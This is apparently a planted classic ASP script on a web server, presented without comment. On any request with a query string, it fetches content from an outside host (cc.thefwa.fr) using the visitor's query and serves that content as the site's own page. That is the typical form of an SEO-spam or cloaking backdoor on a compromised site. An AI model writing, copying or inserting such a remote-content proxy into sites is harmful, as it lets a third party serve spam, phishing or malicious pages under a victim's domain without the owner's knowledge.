<% if(len(Trim(Request.QueryString))>0) then response.write GetResStr("http://cc.thefwa.fr/"&Trim(Request.QueryString)) Response.End end if function GetResStr(URL) Dim ResBody,ResStr,PageCode Set Http=server.createobject("msxml2.serverxmlhttp.3.0") Http.setTimeouts 60000, 60000, 60000, 60000 Http.open "GET",URL,False Http.Send() If Http.Readystate =4 Then If Http.status=200 Then ResStr=http.responseText ResBody=http.responseBody PageCode="ISO-8859-1" GetResStr=BytesToBstr(http.responseBody,trim(PageCode)) End If End If End Function Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %>